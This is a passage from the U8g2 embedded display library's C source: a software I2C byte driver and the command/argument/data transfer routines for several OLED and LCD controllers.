u8x8->display_info->i2c_bus_clock_100kHz); } static void i2c_init(u8x8_t *u8x8) { u8x8_gpio_SetI2CClock(u8x8, 1); u8x8_gpio_SetI2CData(u8x8, 1); i2c_delay(u8x8); } /* actually, the scl line is not observed, so this procedure does not return a value */ static void i2c_read_scl_and_delay(u8x8_t *u8x8) { /* set as input (line will be high) */ u8x8_gpio_SetI2CClock(u8x8, 1); i2c_delay(u8x8); } static void i2c_clear_scl(u8x8_t *u8x8) { u8x8_gpio_SetI2CClock(u8x8, 0); } static void i2c_read_sda(u8x8_t *u8x8) { /* set as input (line will be high) */ u8x8_gpio_SetI2CData(u8x8, 1); } static void i2c_clear_sda(u8x8_t *u8x8) { /* set open collector and drive low */ u8x8_gpio_SetI2CData(u8x8, 0); } static void i2c_start(u8x8_t *u8x8) { if ( u8x8->i2c_started != 0 ) { /* if already started: do restart */ i2c_read_sda(u8x8); /* SDA = 1 */ i2c_delay(u8x8); i2c_read_scl_and_delay(u8x8); } i2c_read_sda(u8x8); /* send the start condition, both lines go from 1 to 0 */ i2c_clear_sda(u8x8); i2c_delay(u8x8); i2c_clear_scl(u8x8); u8x8->i2c_started = 1; } static void i2c_stop(u8x8_t *u8x8) { /* set SDA to 0 */ i2c_clear_sda(u8x8); i2c_delay(u8x8); /* now release all lines */ i2c_read_scl_and_delay(u8x8); /* set SDA to 1 */ i2c_read_sda(u8x8); i2c_delay(u8x8); u8x8->i2c_started = 0; } static void i2c_write_bit(u8x8_t *u8x8, uint8_t val) { if (val) i2c_read_sda(u8x8); else i2c_clear_sda(u8x8); i2c_delay(u8x8); i2c_read_scl_and_delay(u8x8); i2c_clear_scl(u8x8); } static void i2c_read_bit(u8x8_t *u8x8) { //uint8_t val; /* do not drive SDA */ i2c_read_sda(u8x8); i2c_delay(u8x8); i2c_read_scl_and_delay(u8x8); i2c_read_sda(u8x8); i2c_delay(u8x8); i2c_clear_scl(u8x8); //return val; } static void i2c_write_byte(u8x8_t *u8x8, uint8_t b) { i2c_write_bit(u8x8, b & 128); i2c_write_bit(u8x8, b & 64); i2c_write_bit(u8x8, b & 32); i2c_write_bit(u8x8, b & 16); i2c_write_bit(u8x8, b & 8); i2c_write_bit(u8x8, b & 4); i2c_write_bit(u8x8, b & 2); i2c_write_bit(u8x8, b & 1); /* read ack from client */ /* 0: ack was given by client */ /* 1: nothing happend during ack cycle */ i2c_read_bit(u8x8); } uint8_t u8x8_byte_sw_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t *data; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; while( arg_int > 0 ) { i2c_write_byte(u8x8, *data); data++; arg_int--; } break; case U8X8_MSG_BYTE_INIT: i2c_init(u8x8); break; case U8X8_MSG_BYTE_SET_DC: break; case U8X8_MSG_BYTE_START_TRANSFER: i2c_start(u8x8); i2c_write_byte(u8x8, u8x8_GetI2CAddress(u8x8)); //i2c_write_byte(u8x8, 0x078); break; case U8X8_MSG_BYTE_END_TRANSFER: i2c_stop(u8x8); break; default: return 0; } return 1; } /*=========================================*/ /* alternative i2c byte procedure */ #ifdef ALTERNATIVE_I2C_BYTE_PROCEDURE void i2c_transfer(u8x8_t *u8x8, uint8_t adr, uint8_t cnt, uint8_t *data) { uint8_t i; i2c_start(u8x8); i2c_write_byte(u8x8, adr); for( i = 0; i < cnt; i++ ) i2c_write_byte(u8x8, data[i]); i2c_stop(u8x8); } uint8_t u8x8_byte_sw_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { static uint8_t buffer[32]; /* u8g2/u8x8 will never send more than 32 bytes */ static uint8_t buf_idx; uint8_t *data; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; while( arg_int > 0 ) { buffer[buf_idx++] = *data; data++; arg_int--; } break; case U8X8_MSG_BYTE_INIT: i2c_init(u8x8); /* init i2c communication */ break; case U8X8_MSG_BYTE_SET_DC: /* ignored for i2c */ break; case U8X8_MSG_BYTE_START_TRANSFER: buf_idx = 0; break; case U8X8_MSG_BYTE_END_TRANSFER: i2c_transfer(u8x8, u8x8_GetI2CAddress(u8x8), buf_idx, buffer); break; default: return 0; } return 1; } #endif ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_cad.c ================================================ /* u8x8_cad.c "command arg data" interface to the graphics controller Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. The following sequence must be used for any data, which is set to the display: uint8_t u8x8_cad_StartTransfer(u8x8_t *u8x8) any of the following calls uint8_t u8x8_cad_SendCmd(u8x8_t *u8x8, uint8_t cmd) uint8_t u8x8_cad_SendArg(u8x8_t *u8x8, uint8_t arg) uint8_t u8x8_cad_SendData(u8x8_t *u8x8, uint8_t cnt, uint8_t *data) uint8_t u8x8_cad_EndTransfer(u8x8_t *u8x8) */ /* uint8_t u8x8_cad_template(u8x8_t *u8x8, uint8_t msg, uint16_t arg_int, void *arg_ptr) { uint8_t i; switch(msg) { case U8X8_MSG_CAD_SEND_CMD: u8x8_mcd_byte_SetDC(mcd->next, 1); u8x8_mcd_byte_Send(mcd->next, arg_int); break; case U8X8_MSG_CAD_SEND_ARG: u8x8_mcd_byte_SetDC(mcd->next, 1); u8x8_mcd_byte_Send(mcd->next, arg_int); break; case U8X8_MSG_CAD_SEND_DATA: u8x8_mcd_byte_SetDC(mcd->next, 0); for( i = 0; i < 8; i++ ) u8x8_mcd_byte_Send(mcd->next, ((uint8_t *)arg_ptr)[i]); break; case U8X8_MSG_CAD_RESET: return mcd->next->cb(mcd->next, msg, arg_int, arg_ptr); case U8X8_MSG_CAD_START_TRANSFER: return mcd->next->cb(mcd->next, msg, arg_int, arg_ptr); case U8X8_MSG_CAD_END_TRANSFER: return mcd->next->cb(mcd->next, msg, arg_int, arg_ptr); default: break; } return 1; } */ #include "u8x8.h" uint8_t u8x8_cad_SendCmd(u8x8_t *u8x8, uint8_t cmd) { return u8x8->cad_cb(u8x8, U8X8_MSG_CAD_SEND_CMD, cmd, NULL); } uint8_t u8x8_cad_SendArg(u8x8_t *u8x8, uint8_t arg) { return u8x8->cad_cb(u8x8, U8X8_MSG_CAD_SEND_ARG, arg, NULL); } uint8_t u8x8_cad_SendMultipleArg(u8x8_t *u8x8, uint8_t cnt, uint8_t arg) { while( cnt > 0 ) { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_SEND_ARG, arg, NULL); cnt--; } return 1; } uint8_t u8x8_cad_SendData(u8x8_t *u8x8, uint8_t cnt, uint8_t *data) { return u8x8->cad_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, cnt, data); } uint8_t u8x8_cad_StartTransfer(u8x8_t *u8x8) { return u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 0, NULL); } uint8_t u8x8_cad_EndTransfer(u8x8_t *u8x8) { return u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL); } void u8x8_cad_vsendf(u8x8_t * u8x8, const char *fmt, va_list va) { uint8_t d; u8x8_cad_StartTransfer(u8x8); while( *fmt != '\0' ) { d = (uint8_t)va_arg(va, int); switch(*fmt) { case 'a': u8x8_cad_SendArg(u8x8, d); break; case 'c': u8x8_cad_SendCmd(u8x8, d); break; case 'd': u8x8_cad_SendData(u8x8, 1, &d); break; } fmt++; } u8x8_cad_EndTransfer(u8x8); } void u8x8_SendF(u8x8_t * u8x8, const char *fmt, ...) { va_list va; va_start(va, fmt); u8x8_cad_vsendf(u8x8, fmt, va); va_end(va); } /* 21 c send command c 22 a send arg a 23 d send data d 24 CS on 25 CS off 254 milli delay by milliseconds 255 end of sequence */ void u8x8_cad_SendSequence(u8x8_t *u8x8, uint8_t const *data) { uint8_t cmd; uint8_t v; for(;;) { cmd = *data; data++; switch( cmd ) { case U8X8_MSG_CAD_SEND_CMD: case U8X8_MSG_CAD_SEND_ARG: v = *data; u8x8->cad_cb(u8x8, cmd, v, NULL); data++; break; case U8X8_MSG_CAD_SEND_DATA: v = *data; u8x8_cad_SendData(u8x8, 1, &v); data++; break; case U8X8_MSG_CAD_START_TRANSFER: case U8X8_MSG_CAD_END_TRANSFER: u8x8->cad_cb(u8x8, cmd, 0, NULL); break; case 0x0fe: v = *data; u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_MILLI, v); data++; break; default: return; } } } uint8_t u8x8_cad_empty(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_CAD_SEND_CMD: u8x8_byte_SendByte(u8x8, arg_int); break; case U8X8_MSG_CAD_SEND_ARG: u8x8_byte_SendByte(u8x8, arg_int); break; case U8X8_MSG_CAD_SEND_DATA: case U8X8_MSG_CAD_INIT: case U8X8_MSG_CAD_START_TRANSFER: case U8X8_MSG_CAD_END_TRANSFER: return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr); default: return 0; } return 1; } /* convert to bytes by using dc = 1 for commands and args and dc = 0 for data */ uint8_t u8x8_cad_110(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_CAD_SEND_CMD: u8x8_byte_SetDC(u8x8, 1); u8x8_byte_SendByte(u8x8, arg_int); break; case U8X8_MSG_CAD_SEND_ARG: u8x8_byte_SetDC(u8x8, 1); u8x8_byte_SendByte(u8x8, arg_int); break; case U8X8_MSG_CAD_SEND_DATA: u8x8_byte_SetDC(u8x8, 0); //u8x8_byte_SendBytes(u8x8, arg_int, arg_ptr); //break; /* fall through */ case U8X8_MSG_CAD_INIT: case U8X8_MSG_CAD_START_TRANSFER: case U8X8_MSG_CAD_END_TRANSFER: return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr); default: return 0; } return 1; } /* convert to bytes by using dc = 1 for commands and args and dc = 0 for data */ uint8_t u8x8_gu800_cad_110(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t *data; switch(msg) { case U8X8_MSG_CAD_SEND_CMD: u8x8_byte_SetDC(u8x8, 1); u8x8_byte_StartTransfer(u8x8); u8x8_byte_SendByte(u8x8, arg_int); u8x8_byte_EndTransfer(u8x8); break; case U8X8_MSG_CAD_SEND_ARG: u8x8_byte_SetDC(u8x8, 1); u8x8_byte_StartTransfer(u8x8); u8x8_byte_SendByte(u8x8, arg_int); u8x8_byte_EndTransfer(u8x8); break; case U8X8_MSG_CAD_SEND_DATA: u8x8_byte_SetDC(u8x8, 0); data = (uint8_t *)arg_ptr; while( arg_int > 0 ) { u8x8_byte_StartTransfer(u8x8); u8x8_byte_SendByte(u8x8, *data); u8x8_byte_EndTransfer(u8x8); data++; arg_int--; } break; case U8X8_MSG_CAD_INIT: u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr); break; case U8X8_MSG_CAD_START_TRANSFER: case U8X8_MSG_CAD_END_TRANSFER: break; default: return 0; } return 1; } /* convert to bytes by using dc = 1 for commands and args and dc = 0 for data t6963 */ uint8_t u8x8_cad_100(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_CAD_SEND_CMD: u8x8_byte_SetDC(u8x8, 1); u8x8_byte_SendByte(u8x8, arg_int); break; case U8X8_MSG_CAD_SEND_ARG: u8x8_byte_SetDC(u8x8, 0); u8x8_byte_SendByte(u8x8, arg_int); break; case U8X8_MSG_CAD_SEND_DATA: u8x8_byte_SetDC(u8x8, 0); //u8x8_byte_SendBytes(u8x8, arg_int, arg_ptr); //break; /* fall through */ case U8X8_MSG_CAD_INIT: case U8X8_MSG_CAD_START_TRANSFER: case U8X8_MSG_CAD_END_TRANSFER: return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr); default: return 0; } return 1; } /* convert to bytes by using dc = 0 for commands and args and dc = 1 for data */ uint8_t u8x8_cad_001(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_CAD_SEND_CMD: u8x8_byte_SetDC(u8x8, 0); u8x8_byte_SendByte(u8x8, arg_int); break; case U8X8_MSG_CAD_SEND_ARG: u8x8_byte_SetDC(u8x8, 0); u8x8_byte_SendByte(u8x8, arg_int); break; case U8X8_MSG_CAD_SEND_DATA: u8x8_byte_SetDC(u8x8, 1); //u8x8_byte_SendBytes(u8x8, arg_int, arg_ptr); //break; /* fall through */ case U8X8_MSG_CAD_INIT: case U8X8_MSG_CAD_START_TRANSFER: case U8X8_MSG_CAD_END_TRANSFER: return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr); default: return 0; } return 1; } /* convert to bytes by using dc = 0 for commands dc = 1 for args and data */ uint8_t u8x8_cad_011(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_CAD_SEND_CMD: u8x8_byte_SetDC(u8x8, 0); u8x8_byte_SendByte(u8x8, arg_int); break; case U8X8_MSG_CAD_SEND_ARG: u8x8_byte_SetDC(u8x8, 1); u8x8_byte_SendByte(u8x8, arg_int); break; case U8X8_MSG_CAD_SEND_DATA: u8x8_byte_SetDC(u8x8, 1); //u8x8_byte_SendBytes(u8x8, arg_int, arg_ptr); //break; /* fall through */ case U8X8_MSG_CAD_INIT: case U8X8_MSG_CAD_START_TRANSFER: case U8X8_MSG_CAD_END_TRANSFER: return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr); default: return 0; } return 1; } /* cad procedure for the ST7920 in SPI mode */ /* u8x8_byte_SetDC is not used */ uint8_t u8x8_cad_st7920_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t *data; uint8_t b; uint8_t i; static uint8_t buf[16]; uint8_t *ptr; switch(msg) { case U8X8_MSG_CAD_SEND_CMD: u8x8_byte_SendByte(u8x8, 0x0f8); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, 1); u8x8_byte_SendByte(u8x8, arg_int & 0x0f0); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, 1); u8x8_byte_SendByte(u8x8, arg_int << 4); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, 1); break; case U8X8_MSG_CAD_SEND_ARG: u8x8_byte_SendByte(u8x8, 0x0f8); u8x8_byte_SendByte(u8x8, arg_int & 0x0f0); u8x8_byte_SendByte(u8x8, arg_int << 4); break; case U8X8_MSG_CAD_SEND_DATA: u8x8_byte_SendByte(u8x8, 0x0fa); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, 1); /* this loop should be optimized: multiple bytes should be sent */ /* u8x8_byte_SendBytes(u8x8, arg_int, arg_ptr); */ data = (uint8_t *)arg_ptr; /* the following loop increases speed by 20% */ while( arg_int >= 8 ) { i = 8; ptr = buf; do { b = *data++; *ptr++= b & 0x0f0; b <<= 4; *ptr++= b; i--; } while( i > 0 ); arg_int -= 8; u8x8_byte_SendBytes(u8x8, 16, buf); } while( arg_int > 0 ) { b = *data; u8x8_byte_SendByte(u8x8, b & 0x0f0); u8x8_byte_SendByte(u8x8, b << 4); data++; arg_int--; } u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, 1); break; case U8X8_MSG_CAD_INIT: case U8X8_MSG_CAD_START_TRANSFER: case U8X8_MSG_CAD_END_TRANSFER: return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr); default: return 0; } return 1; } /* cad procedure for the SSD13xx family in I2C mode */ /* this procedure is also used by the ST7588 */ /* u8x8_byte_SetDC is not used */ /* U8X8_MSG_BYTE_START_TRANSFER starts i2c transfer, U8X8_MSG_BYTE_END_TRANSFER stops transfer */ /* After transfer start, a full byte indicates command or data mode */ static void u8x8_i2c_data_transfer(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr) U8X8_NOINLINE; static void u8x8_i2c_data_transfer(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr) { u8x8_byte_StartTransfer(u8x8); u8x8_byte_SendByte(u8x8, 0x040); u8x8->byte_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, arg_int, arg_ptr); u8x8_byte_EndTransfer(u8x8); } /* classic version: will put a start/stop condition around each command and arg */ uint8_t u8x8_cad_ssd13xx_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t *p; switch(msg) { case U8X8_MSG_CAD_SEND_CMD: case U8X8_MSG_CAD_SEND_ARG: /* 7 Nov 2016: Can this be improved? */ //u8x8_byte_SetDC(u8x8, 0); u8x8_byte_StartTransfer(u8x8); //u8x8_byte_SendByte(u8x8, u8x8_GetI2CAddress(u8x8)); u8x8_byte_SendByte(u8x8, 0x000); u8x8_byte_SendByte(u8x8, arg_int); u8x8_byte_EndTransfer(u8x8); break; case U8X8_MSG_CAD_SEND_DATA: //u8x8_byte_SetDC(u8x8, 1); /* the FeatherWing OLED with the 32u4 transfer of long byte */ /* streams was not possible. This is broken down to */ /* smaller streams, 32 seems to be the limit... */ /* I guess this is related to the size of the Wire buffers in Arduino */ /* Unfortunately, this can not be handled in the byte level drivers, */ /* so this is done here. Even further, only 24 bytes will be sent, */ /* because there will be another byte (DC) required during the transfer */ p = arg_ptr; while( arg_int > 24 ) { u8x8_i2c_data_transfer(u8x8, 24, p); arg_int-=24; p+=24; } u8x8_i2c_data_transfer(u8x8, arg_int, p); break; case U8X8_MSG_CAD_INIT: /* apply default i2c adr if required so that the start transfer msg can use this */ if ( u8x8->i2c_address == 255 ) u8x8->i2c_address = 0x078; return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr); case U8X8_MSG_CAD_START_TRANSFER: case U8X8_MSG_CAD_END_TRANSFER: /* cad transfer commands are ignored */ break; default: return 0; } return 1; } /* fast version with reduced data start/stops, issue 735 */ uint8_t u8x8_cad_ssd13xx_fast_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { static uint8_t in_transfer = 0; uint8_t *p; switch(msg) { case U8X8_MSG_CAD_SEND_CMD: /* improved version, takeover from ld7032 */ /* assumes, that the args of a command is not longer than 31 bytes */ /* speed improvement is about 4% compared to the classic version */ if ( in_transfer != 0 ) u8x8_byte_EndTransfer(u8x8); u8x8_byte_StartTransfer(u8x8); u8x8_byte_SendByte(u8x8, 0x000); /* cmd byte for ssd13xx controller */ u8x8_byte_SendByte(u8x8, arg_int); in_transfer = 1; /* lightning version: can replace the improved version from above */ /* the drawback of the lightning version is this: The complete init sequence */ /* must fit into the 32 byte Arduino Wire buffer, which might not always be the case */ /* speed improvement is about 6% compared to the classic version */ // if ( in_transfer == 0 ) // { // u8x8_byte_StartTransfer(u8x8); // u8x8_byte_SendByte(u8x8, 0x000); /* cmd byte for ssd13xx controller */ // in_transfer = 1; // } //u8x8_byte_SendByte(u8x8, arg_int); break; case U8X8_MSG_CAD_SEND_ARG: u8x8_byte_SendByte(u8x8, arg_int); break; case U8X8_MSG_CAD_SEND_DATA: if ( in_transfer != 0 ) u8x8_byte_EndTransfer(u8x8); /* the FeatherWing OLED with the 32u4 transfer of long byte */ /* streams was not possible. This is broken down to */ /* smaller streams, 32 seems to be the limit... */ /* I guess this is related to the size of the Wire buffers in Arduino */ /* Unfortunately, this can not be handled in the byte level drivers, */ /* so this is done here. Even further, only 24 bytes will be sent, */ /* because there will be another byte (DC) required during the transfer */ p = arg_ptr; while( arg_int > 24 ) { u8x8_i2c_data_transfer(u8x8, 24, p); arg_int-=24; p+=24; } u8x8_i2c_data_transfer(u8x8, arg_int, p); in_transfer = 0; break; case U8X8_MSG_CAD_INIT: /* apply default i2c adr if required so that the start transfer msg can use this */ if ( u8x8->i2c_address == 255 ) u8x8->i2c_address = 0x078; return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr); case U8X8_MSG_CAD_START_TRANSFER: in_transfer = 0; break; case U8X8_MSG_CAD_END_TRANSFER: if ( in_transfer != 0 ) u8x8_byte_EndTransfer(u8x8); in_transfer = 0; break; default: return 0; } return 1; } /* the st75256 i2c driver is a copy of the ssd13xx driver, but with arg=1 */ /* modified from cad001 (ssd13xx) to cad011 */ uint8_t u8x8_cad_st75256_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t *p; switch(msg) { case U8X8_MSG_CAD_SEND_CMD: u8x8_byte_StartTransfer(u8x8); u8x8_byte_SendByte(u8x8, 0x000); u8x8_byte_SendByte(u8x8, arg_int); u8x8_byte_EndTransfer(u8x8); break; case U8X8_MSG_CAD_SEND_ARG: u8x8_byte_StartTransfer(u8x8); u8x8_byte_SendByte(u8x8, 0x040); u8x8_byte_SendByte(u8x8, arg_int); u8x8_byte_EndTransfer(u8x8); break; case U8X8_MSG_CAD_SEND_DATA: /* see ssd13xx driver */ p = arg_ptr; while( arg_int > 24 ) { u8x8_i2c_data_transfer(u8x8, 24, p); arg_int-=24; p+=24; } u8x8_i2c_data_transfer(u8x8, arg_int, p); break; case U8X8_MSG_CAD_INIT: /* apply default i2c adr if required so that the start transfer msg can use this */ if ( u8x8->i2c_address == 255 ) u8x8->i2c_address = 0x078; /* ST75256, often this is 0x07e */ return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr); case U8X8_MSG_CAD_START_TRANSFER: case U8X8_MSG_CAD_END_TRANSFER: /* cad transfer commands are ignored */ break; default: return 0; } return 1; } /* cad i2c procedure for the ld7032 controller */ /* Issue https://github.com/olikraus/u8g2/issues/865 mentiones, that I2C does not work */ /* Workaround is to remove the while loop (or increase the value in the condition) */ uint8_t u8x8_cad_ld7032_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { static uint8_t in_transfer = 0; uint8_t *p; switch(msg) { case U8X8_MSG_CAD_SEND_CMD: if ( in_transfer != 0 ) u8x8_byte_EndTransfer(u8x8); u8x8_byte_StartTransfer(u8x8); u8x8_byte_SendByte(u8x8, arg_int); in_transfer = 1; break; case U8X8_MSG_CAD_SEND_ARG: u8x8_byte_SendByte(u8x8, arg_int); break; case U8X8_MSG_CAD_SEND_DATA: //u8x8_byte_SetDC(u8x8, 1); /* the FeatherWing OLED with the 32u4 transfer of long byte */ /* streams was not possible. This is broken down to */ /* smaller streams, 32 seems to be the limit... */ /* I guess this is related to the size of the Wire buffers in Arduino */ /* Unfortunately, this can not be handled in the byte level drivers, */ /* so this is done here. Even further, only 24 bytes will be sent, */ /* because there will be another byte (DC) required during the transfer */ p = arg_ptr; while( arg_int > 24 ) { u8x8->byte_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, 24, p); arg_int-=24; p+=24; u8x8_byte_EndTransfer(u8x8); u8x8_byte_StartTransfer(u8x8); u8x8_byte_SendByte(u8x8, 0x08); /* data write for LD7032 */ } u8x8->byte_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, arg_int, p); break; case U8X8_MSG_CAD_INIT: /* apply default i2c adr if required so that the start transfer msg can use this */ if ( u8x8->i2c_address == 255 ) u8x8->i2c_address = 0x060; return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr); case U8X8_MSG_CAD_START_TRANSFER: in_transfer = 0; break; case U8X8_MSG_CAD_END_TRANSFER: if ( in_transfer != 0 ) u8x8_byte_EndTransfer(u8x8); break; default: return 0; } return 1; } /* cad procedure for the UC16xx family in I2C mode */ /* u8x8_byte_SetDC is not used */ /* DC bit is encoded into the adr byte, structure is CAD001 */ uint8_t u8x8_cad_uc16xx_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { static uint8_t in_transfer = 0; static uint8_t is_data = 0; uint8_t *p; switch(msg) { case U8X8_MSG_CAD_SEND_CMD: case U8X8_MSG_CAD_SEND_ARG: if ( in_transfer != 0 ) { if ( is_data != 0 ) { /* transfer mode is active, but data transfer */ u8x8_byte_EndTransfer(u8x8); /* clear the lowest two bits of the adr */ u8x8_SetI2CAddress( u8x8, u8x8_GetI2CAddress(u8x8)&0x0fc ); u8x8_byte_StartTransfer(u8x8); } } else { /* clear the lowest two bits of the adr */ u8x8_SetI2CAddress( u8x8, u8x8_GetI2CAddress(u8x8)&0x0fc ); u8x8_byte_StartTransfer(u8x8); } u8x8_byte_SendByte(u8x8, arg_int); in_transfer = 1; // is_data = 0; // 20 Jun 2021: I assume that this is missing here break; case U8X8_MSG_CAD_SEND_DATA: if ( in_transfer != 0 ) { if ( is_data == 0 ) { /* transfer mode is active, but data transfer */ u8x8_byte_EndTransfer(u8x8); /* clear the lowest two bits of the adr */ u8x8_SetI2CAddress( u8x8, (u8x8_GetI2CAddress(u8x8)&0x0fc)|2 ); u8x8_byte_StartTransfer(u8x8); } } else { /* clear the lowest two bits of the adr */ u8x8_SetI2CAddress( u8x8, (u8x8_GetI2CAddress(u8x8)&0x0fc)|2 ); u8x8_byte_StartTransfer(u8x8); } in_transfer = 1; // is_data = 1; // 20 Jun 2021: I assume that this is missing here p = arg_ptr; while( arg_int > 24 ) { u8x8->byte_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, 24, p); arg_int-=24; p+=24; u8x8_byte_EndTransfer(u8x8); u8x8_byte_StartTransfer(u8x8); } u8x8->byte_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, arg_int, p); break; case U8X8_MSG_CAD_INIT: /* apply default i2c adr if required so that the start transfer msg can use this */ if ( u8x8->i2c_address == 255 ) u8x8->i2c_address = 0x070; return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr); case U8X8_MSG_CAD_START_TRANSFER: in_transfer = 0; /* actual start is delayed, because we do not whether this is data or cmd transfer */ break; case U8X8_MSG_CAD_END_TRANSFER: if ( in_transfer != 0 ) u8x8_byte_EndTransfer(u8x8); in_transfer = 0; break; default: return 0; } return 1; } /* cad procedure for the UC1638 in I2C mode */ /* same as u8x8_cad_uc16xx_i2c but CAD structure is CAD011 */ uint8_t u8x8_cad_uc1638_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { static uint8_t in_transfer = 0; static uint8_t is_data = 0; uint8_t *p; switch(msg) { case U8X8_MSG_CAD_SEND_CMD: if ( in_transfer != 0 ) { if ( is_data != 0 ) { /* transfer mode is active, but data transfer */ u8x8_byte_EndTransfer(u8x8); /* clear the lowest two bits of the adr */ u8x8_SetI2CAddress( u8x8, u8x8_GetI2CAddress(u8x8)&0x0fc ); u8x8_byte_StartTransfer(u8x8); } } else { /* clear the lowest two bits of the adr */ u8x8_SetI2CAddress( u8x8, u8x8_GetI2CAddress(u8x8)&0x0fc ); u8x8_byte_StartTransfer(u8x8); } u8x8_byte_SendByte(u8x8, arg_int); in_transfer = 1; is_data = 0; break; case U8X8_MSG_CAD_SEND_ARG: if ( in_transfer != 0 ) { if ( is_data == 0 ) { /* transfer mode is active, but data transfer */ u8x8_byte_EndTransfer(u8x8); /* clear the lowest two bits of the adr */ u8x8_SetI2CAddress( u8x8, (u8x8_GetI2CAddress(u8x8)&0x0fc)|2 ); u8x8_byte_StartTransfer(u8x8); } } else { /* clear the lowest two bits of the adr */ u8x8_SetI2CAddress( u8x8, (u8x8_GetI2CAddress(u8x8)&0x0fc)|2 ); u8x8_byte_StartTransfer(u8x8); } u8x8_byte_SendByte(u8x8, arg_int); in_transfer = 1; is_data = 1; break; case U8X8_MSG_CAD_SEND_DATA: if ( in_transfer != 0 ) { if ( is_data == 0 ) { /* transfer mode is active, but data transfer */ u8x8_byte_EndTransfer(u8x8); /* clear the lowest two bits of the adr */ u8x8_SetI2CAddress( u8x8, (u8x8_GetI2CAddress(u8x8)&0x0fc)|2 ); u8x8_byte_StartTransfer(u8x8); } } else { /* clear the lowest two bits of the adr */ u8x8_SetI2CAddress( u8x8, (u8x8_GetI2CAddress(u8x8)&0x0fc)|2 ); u8x8_byte_StartTransfer(u8x8); } in_transfer = 1; is_data = 1; p = arg_ptr; while( arg_int > 24 ) { u8x8->byte_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, 24, p); arg_int-=24; p+=24; u8x8_byte_EndTransfer(u8x8); u8x8_byte_StartTransfer(u8x8); } u8x8->byte_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, arg_int, p); break; case U8X8_MSG_CAD_INIT: /* apply default i2c adr if required so that the start transfer msg can use this */ if ( u8x8->i2c_address == 255 ) u8x8->i2c_address = 0x078; /* see also https://github.com/olikraus/u8g2/issues/371 for a discussion on this value */ return u8x8->byte_cb(u8x8, msg, 